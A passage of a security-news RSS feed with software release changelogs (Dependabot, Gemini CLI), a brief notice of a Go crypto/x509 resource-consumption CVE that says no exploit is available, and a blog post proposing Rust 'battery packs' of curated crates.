<li>julia: fix TypeError when a cooldown is configured by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894957881" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15591" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15591/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15591">#15591</a></li>
<li>Fix codespell typo in updater job spec by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900648669" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15599" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15599/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15599">#15599</a></li>
<li>Swift: SemVer-compliant version comparison and validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/v-HaripriyaC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/v-HaripriyaC">@v-HaripriyaC</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4891805578" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15589" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15589/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15589">#15589</a></li>
<li>Type git source details by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4896503633" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15593" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15593/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15593">#15593</a></li>
<li>Expose typed git source details by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897605250" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15594" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15594/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15594">#15594</a></li>
<li>v0.387.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4904637892" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15604" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15604/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15604">#15604</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RinseV/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RinseV">@RinseV</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597635124" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15231" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15231/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15231">#15231</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.386.0...v0.387.0"><tt>v0.386.0...v0.387.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-61729 | crypto-x509 up to 1.24.10/1.25.4 on Go HostnameError.Error resource consumption (EUVD-2025-200318 / Nessus ID 278642)]]></title>
<description><![CDATA[A vulnerability identified as problematic has been detected in crypto-x509 up to 1.24.10/1.25.4 on Go. This affects the function HostnameError.Error. The manipulation leads to resource consumption.

This vulnerability is listed as CVE-2025-61729. The attack may be initiated remotely. There is no ...]]></description>
<link>https://tsecurity.de/de/3674461/sicherheitsluecken/cve-2025-61729-crypto-x509-up-to-124101254-on-go-hostnameerrorerror-resource-consumption-euvd-2025-200318-nessus-id-278642/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674461/sicherheitsluecken/cve-2025-61729-crypto-x509-up-to-124101254-on-go-hostnameerrorerror-resource-consumption-euvd-2025-200318-nessus-id-278642/</guid>
<pubDate>Thu, 16 Jul 2026 21:05:47 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">problematic</a> has been detected in <a href="https://vuldb.com/product/crypto-x509">crypto-x509 up to 1.24.10/1.25.4</a> on Go. This affects the function <code>HostnameError.Error</code>. The manipulation leads to resource consumption.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2025-61729">CVE-2025-61729</a>. The attack may be initiated remotely. There is no available exploit.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Niko Matsakis: Battery packs: Let's talk about crates, baby]]></title>
<description><![CDATA[This blog post describes an idea I’ve been kicking around called battery packs. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has everything you need to build a great CLI, an opinionated pack for creating a backend web servi...]]></description>
<link>https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</guid>
<pubDate>Thu, 16 Jul 2026 19:24:07 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img alt="Battery pack logo" class="float-right" src="https://smallcultfollowing.com/babysteps/%20/assets/2026-07-15-battery-packs.png">
<p>This blog post describes an idea I’ve been kicking around called <strong>battery packs</strong>. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has <a href="https://crates.io/crates/cli-battery-pack">everything you need to build a great CLI</a>, an opinionated pack for <a href="https://crates.io/crates/backend-service-battery-pack">creating a backend web service</a>, and <a href="https://crates.io/crates/embedded-battery-pack">one for embedded development</a> (based on the Embedded Working Group’s <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Rust repository</a>). We’ve also got some smaller ones, such as the <a href="https://crates.io/crates/error-battery-pack">error-handling battery pack</a> that shows how to handle errors in Rust. But this is just the beginning – a key part of the battery pack design is that anybody can create one.</p>
<p>Battery packs are meant to address one of the most common things I hear from new Rust adopters. Everyone loves the wealth of high-quality crates available on crates.io. And everyone hates having to spend a bunch of time researching and comparing alternatives. Battery packs can serve as a good set of default choices. And they don’t lock you in. At heart, they’re basically just a list of recommended crates, so you can always swap something out if you find an alternative.</p>

<p>We’ve got a prototype of the battery pack tool working today, so you can try it out if you’re curious. Just run <code>cargo install cargo-bp</code> and then try a few commands! For example,</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp list
</span></span></code></pre></div><p>will show you the set of available battery packs, based on a crates.io search (as I’ll explain below, a battery pack is itself packaged and distributed as a crate, but not one that you take a direct dependency on). And <code>cargo bp add</code> will add batteries from a battery pack into your crate, so e.g.</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp add cli
</span></span></code></pre></div><p>would let you select and add common CLI libraries. If you want to see a more involved demo, try out <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository.</p>
<h3>Let’s talk about you and me</h3>
<p>One of the key ideas from battery packs is that <strong>anybody can publish one</strong>. They are just a crate named <code>X-battery-pack</code>; the dependencies of that crate are your recommendations. Features are designations of common sets of crates frequently used together. The examples are your templates. And so forth.</p>
<p>Letting anybody create a battery pack is in contrast to the previous ideas for an “extended standard library for Rust”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:1">1</a></sup>, and it is intended to address some of Rust’s unique challenges. For one thing, it lets people publish battery packs that are tailored to specific requirements. For example, the <a href="https://crates.io/crates/cli-battery-pack">CLI</a> and <a href="https://crates.io/crates/backend-service-battery-pack">backend service</a> battery packs are targeting a “typical computer”. But I could imagine the <a href="https://rust-embedded.org/">Rust embedded working group</a> publishing a battery pack with libraries focused on no-std and binary size optimization.</p>
<p>Being open-ended also addresses the <em>“who decides?”</em> question. To my mind, the best people to recommend what libraries you ought to use are <strong>other people building systems like yours</strong>. This is why I mentioned the Embedded Working Group publishing an Embedded battery pack, for example, as I think they are clearly a set of people who know their space well. But even within the embedded space there are yet smaller groups, and I imagine that sometimes it’ll make sense to get narrower. For example, perhaps a battery pack targeted <a href="https://embassy.dev/">embassy</a> and its associated ecosystem? Unclear.</p>
<h4>Creating a battery pack</h4>
<p>If you wanted to create a battery pack, how do you do it? One answer is that you just create a new crate. But a better approach is to use the “battery-pack battery pack”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:2">2</a></sup>, which bundles a template:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp new battery-pack
</span></span></code></pre></div><p>This will prompt you for the name of the battery pack you want to create and a few other things and make your crate. Then you can just use <code>cargo add</code> dependencies to represent the libraries you want to recommend and publish.</p>
<h4>“Batteries” are more than dependencies</h4>
<p>The “batteries” that you can add to your project aren’t always dependencies. They can also be “recipes” or templates. For example, the CI battery pack<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:3">3</a></sup> can configure your project with the kind of “super neat-o” github actions you’ve always wanted but never wanted to bother configuring. To use it, select one or more of the templates to install:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp add ci
</span></span></code></pre></div><p>I expect this kind of “actions to improve your crate” to become a rich source of things. Right now we’re using a relatively lightweight template system built on <a href="https://github.com/mitsuhiko/minijinja">minijinja</a>, but I think we’re going to want to expand on this.</p>
<h4>Giving it some structure</h4>
<p>Battery Packs also support more than just a flat listing of dependencies/features/templates. You can group dependencies and features into <em>categories</em> and then, for each category, distinguish between “pick at most one” or “pick any number”. For a fun example, try <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository. If you run it, you’ll see something like this, which groups the choices thematically and, in some areas like “concurrency framework”, makes it clear that you want to pick one:</p>
<pre tabindex="0"><code>──────────────────────────────────────────────────────────────────
 ▼ Concurrency Framework (pick at most one)
 &gt; ○ ✦ embassy [embassy-executor, embassy-sync, embassy-time]
   ○ ✦ rtic [cortex-m, rtic]    RTIC — interrupt-driven real-time

 ▼ Display &amp; Graphics (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col

 ▼ Popular Drivers (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col
   [ ] ✦ sensor-bme280 [bme280]    BME280 temperature/humidity/pr
   [ ] ✦ sensor-lis3dh [lis3dh]    LIS3DH 3-axis accelerometer (I
   [ ] ✦ usb-device [usb-device, usbd-serial]    USB device stack

 ▼ Hardware Abstraction Layer (pick at most one)
   ○ ✦ atsamd [atsamd-hal, cortex-m-rt, critical-section-impl, co
   ○ ✦ esp32 [embedded-hal, esp-hal]    ESP32 (Xtensa, WiFi + BT,
   ○ ✦ esp32c3 [embedded-hal, esp-hal]    ESP32-C3 (RISC-V, WiFi
   ○ ✦ esp32s3 [embedded-hal, esp-hal]    ESP32-S3 (Xtensa, WiFi
   ○ ✦ nrf52832 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf52840 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf9160 [cortex-m-rt, critical-section-impl, cortex-m, emb
   ○ ✦ rp2040 [cortex-m-rt, critical-section-impl, cortex-m, embe
   ○ ✦ stm32f0 [cortex-m-rt, critical-section-impl, cortex-m, emb
 embedded-battery-pack v0.1.0  ↑↓/jk Navigate | Space Toggle | ←/→
</code></pre><h3>Let’s talk about all the good things…</h3>
<p>So why am I so keen on battery packs? It’s largely because I’ve heard so many would-be or recent Rust adopters talk about picking crates as a challenge. But I feel they would help with some other problems as well.</p>
<p>What I really want to see is working groups in the <a href="https://rustfoundation.org/rust-commercial-network/">Rust Commercial Network</a> banding together to publish battery packs and recommendations. These would cover the dependencies that they’re actually using.</p>
<h4>Supporting maintainers</h4>
<p>One of the reasons I want to have RCN-recognized battery packs is that they are a natural focal point to then prompt RCN members to fund the maintenance of those crates. I am imagining that for each sponsored battery pack vended within the RCN, there is an associated “ecosystem fund”. Companies or individuals could sponsor this fund to get access to early patches, security disclosures, etc or other perks. The money would be used to support the maintainers of those crates, to implement missing features, and so forth.</p>
<h4>Fostering interoperability</h4>
<p>Another value-add from battery packs is the ability to drive interop efforts. I think that as soon as we start talking about standardizing, we’re also going to recognize that there are some places where standardization is hard. For example, early conversations within the <a href="https://rust-commercial-network.github.io/rcn/network-services-wg.html">network service working group</a> (unsurprisingly) immediately identified that while most people are using <a href="https://tokio.rs/">tokio</a>, some major companies are using their own runtimes internally. It’s not like the need for “async runtime interop” is <a href="https://rust-lang.github.io/wg-async/vision/submitted_stories/status_quo/barbara_wishes_for_easy_runtime_switch.html">news</a>. But right now, every crate winds up effectively implementing their own set of little traits to make it work. Sponsored battery packs offer the possibility of a neutral home for that sort of thing.</p>
<h3>…and the bad things that could be</h3>
<p>There are some risks to people using battery packs. The most obvious is that the fact that anybody can publish a battery pack may mean that you just get a ton of battery packs, which doesn’t really help anybody! I’m not so worried about this because I think that there will be a few obvious places that most people go first, and then I think once people are oriented, they’ll get excited to explore what crates.io has to offer and start discovering more niche battery packs.</p>
<h4>Avoiding stagnation</h4>
<p>Battery packs are designed to evolve. I’ve seen it happen a number of times that there is a dominant crate for something, often taking a “traditional approach”, but then somebody else comes along and presents an interesting alternative that gradually takes off. I love that and I don’t want to put it at risk.</p>
<p>One example of evolution around CLI argument parsing. For a time, <a href="https://crates.io/crates/docopt">docopt</a> was a popular way to parse command-line options. Then <a href="https://crates.io/crates/clap">clap</a> came along and presented a more structured alternative; that was nice, but then structopt came along and connected clap to an auto-derive, so you could just write your data structure and be done. And <em>that</em> was awesome. (That is now the standard in clap.) I want to be sure that, even if there is a CLI battery pack, there’s room for the next clap to come along.</p>
<p>There are a few things about battery pack that I think will help us deal with this. First, they are a “thin abstraction”. You don’t “depend on” a battery pack, you depend on the crates within it. So if a new version comes out that uses clap instead of docopt, that doesn’t impact you at all. Your code keeps working same as it ever did. And of course it helps that <em>anybody</em> can publish a battery pack. You can now have variations on battery packs that are focused around a new approach to help it get started.</p>
<p>Done right, I think that standardized battery packs can also <em>help</em> the ecosystem evolve and pivot. As it is now, knowledge of new crates has to spread by word-of-mouth. But if everybody is aligned around a new approach, adopting that new approach within a battery packs sends a clear signal that your group is aligned that something is the new hotness.</p>
<h3>…Let’s talk about crates<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:4">4</a></sup></h3>
<h4>“Always bet on the ecosystem”</h4>
<p>I see <strong>always bet on the ecosystem</strong> as a key Rust design axiom. It’s the reason we chose a small standard library and a package manager in the first place. It’s also why battery packs are designed to be published by anyone.</p>
<p>But just like plants sometimes need a trellis to grow taller, any successful ecosystem reaches a point where it needs another layer of structure to help it keep growing. Without that, you have this “layer of tacic knowledge” (in <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/#example-the-wealth-of-crates-on-crates-io-are-a-key-enabler-but-can-be-an-obstacle">the words of a Rust Vision Doc interviewee</a>) that becomes an obstacle for folks. And I think we’ve reached that point with <code>crates.io</code>.</p>
<p>I am hopeful that battery packs can provide that next layer of structure. But at the end of the day, if there’s a better approach, that’s fine too, so long as we find a way to help people find (<em>and fund!</em>) the crates they need. So let’s talk about it!</p>
<div class="footnotes">
<hr>
<ol>
<li>
<p>My first recollection of it was the <a href="https://internals.rust-lang.org/t/proposal-the-rust-platform/3745">Rust Platform</a> idea we floated in 2016! <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:1">↩︎</a></p>
</li>
<li>
<p>Yo dawg… <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:2">↩︎</a></p>
</li>
<li>
<p>Hat tip to Jess Izen, who proposed and developed the CI battery pack. Neat idea. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:3">↩︎</a></p>
</li>
<li>
<p>Oh, and: my apologies to <a href="https://en.wikipedia.org/wiki/Let's_Talk_About_Sex">Salt-N-Peppa</a>. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:4">↩︎</a></p>
</li>
</ol>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-preview.0]]></title>
<description><![CDATA[What's Changed

Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
feat(caretaker-egress): implement octokit github action handler for egress service by @cha...]]></description>
<link>https://tsecurity.de/de/3674254/downloads/release-v0520-preview0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674254/downloads/release-v0520-preview0/</guid>
<pubDate>Thu, 16 Jul 2026 19:16:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Refactor: exclude transient CI configuration files from workspace context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771753114" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28216" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28216/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28216">#28216</a></li>
<li>feat(caretaker-triage): add triage worker core foundational modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753861958" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28163" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28163/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28163">#28163</a></li>
<li>feat(caretaker-egress): implement octokit github action handler for egress service by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830419267" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28303" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28303/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28303">#28303</a></li>
<li>chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840274631" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28323" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28323/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28323">#28323</a></li>
<li>Changelog for v0.51.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839873704" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28320" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28320/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28320">#28320</a></li>
<li>Changelog for v0.50.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840167585" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28322" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28322/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28322">#28322</a></li>
<li>fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780686006" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28223" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28223/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28223">#28223</a></li>
<li>fix(core): use unambiguous previous intent label in fallback summary by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848950194" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28343" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28343/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28343">#28343</a></li>
<li>feat(caretaker-triage): implement main worker execution loop and egress action publisher by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832842460" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28306" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28306/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28306">#28306</a></li>
<li>fix(privacy): show a clear message when the account has no Code Assist tier by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830501064" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28304" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28304/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28304">#28304</a></li>
<li>fix(core): enrich shared project quota limit errors with setup hint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875463769" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28391" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28391/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28391">#28391</a></li>
<li>fix(a2a-server): ensure task cancellation aborts execution loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4838860348" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28316" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28316/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28316">#28316</a></li>
<li>fix(core): simplify plan mode write policy to support relative paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876823809" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28398" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28398/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28398">#28398</a></li>
<li>feat(core): Bump node google-auth-library version to 10.9.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869745101" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28385" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28385/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28385">#28385</a></li>
<li>chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888459983" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28402" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28402/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28402">#28402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.51.0-preview.0...v0.52.0-preview.0"><tt>v0.51.0-preview.0...v0.52.0-preview.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.51.0]]></title>
<description><![CDATA[What's Changed

Changelog for v0.50.0-preview.1 by @gemini-cli-robot in #28150
Fix no_proxy test by @jerrylin3321 in #28131
chore(release): bump version to 0.51.0-nightly.20260625.g3fbf93e26 by @gemini-cli-robot in #28151
Vertex base url update by @DavidAPierce in #28145
fix(security): enforce ca...]]></description>
<link>https://tsecurity.de/de/3674253/downloads/release-v0510/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674253/downloads/release-v0510/</guid>
<pubDate>Thu, 16 Jul 2026 19:16:57 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Changelog for v0.50.0-preview.1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746996130" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28150" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28150/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28150">#28150</a></li>
<li>Fix no_proxy test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737974425" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28131" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28131/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28131">#28131</a></li>
